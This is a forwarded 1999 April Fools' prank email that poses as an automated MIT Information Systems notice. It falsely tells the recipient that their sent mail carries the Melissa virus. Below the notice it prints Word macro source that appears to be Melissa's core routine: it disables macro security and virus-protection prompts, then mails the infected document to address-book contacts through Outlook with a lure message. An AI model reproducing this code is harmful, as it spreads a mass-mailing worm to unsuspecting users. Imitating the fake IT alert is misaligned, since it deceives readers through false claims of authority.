>>Mime-Version: 1.0 >>Date: Thu, 1 Apr 1999 15:43:34 -0500 >>To: < deleted > >>From: Virus Alert >>Subject: Melissa Virus >> >>X-Database: Oracle >>X-Sender: Virus Scan (Automated Response) >>Date: Thu, 1 April 199 3:40:38 EST >>Subject: Infected machine >> >> >>Due to the rapid spread of the Melissa virus, M.I.T. Information Systems >>has been scanning all e-mail transmissions through the main mail server on >>campus. The virus detection software has found that several e-mails you >>have sent have been infected with the Melissa virus. Therefore, it is very >>likely that your system is infected. Please cease all e-mail transmissions >>until a technician from Information Systems can disinfect your machine. >> >> >> >> >>Private Sub Document_Open() >>On Error Resume Next >>If System.PrivateProfileString("", >>"HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") >><> "" Then >> CommandBars("Macro").Controls("Security...").Enabled = False >> System.PrivateProfileString("", >>"HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = >>1& >>Else >> CommandBars("Tools").Controls("Macro").Enabled = False >> Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1): >>Options.SaveNormalPrompt = (1 - 1) >>End If >> >>Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice >>Set UngaDasOutlook = CreateObject("Outlook.Application") >>Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI") >>If System.PrivateProfileString("", >>"HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") <> "... by >>Kwyjibo" Then >> If UngaDasOutlook = "Outlook" Then >> DasMapiName.Logon "profile", "password" >> For y = 1 To DasMapiName.AddressLists.Count >> Set AddyBook = DasMapiName.AddressLists(y) >> x = 1 >> Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0) >> For oo = 1 To AddyBook.AddressEntries.Count >> Peep = AddyBook.AddressEntries(x) >> BreakUmOffASlice.Recipients.Add Peep >> x = x + 1 >> If x > 50 Then oo = AddyBook.AddressEntries.Count >> Next oo >> BreakUmOffASlice.Subject = "Important Message From " & >>Application.UserName >> BreakUmOffASlice.Body = "Here is that document you asked for ... >>don't show anyone else ;-)" >> BreakUmOffASlice.Attachments.Add ActiveDocument.FullName >> BreakUmOffASlice.Send >> Peep = "" >> Next y >> DasMapiName.Logoff >> End If >> System.PrivateProfileString("", >>"HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") = "... by >>Kwyjibo" >>End If >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >>April Fools! >> >>Jack & josh >> >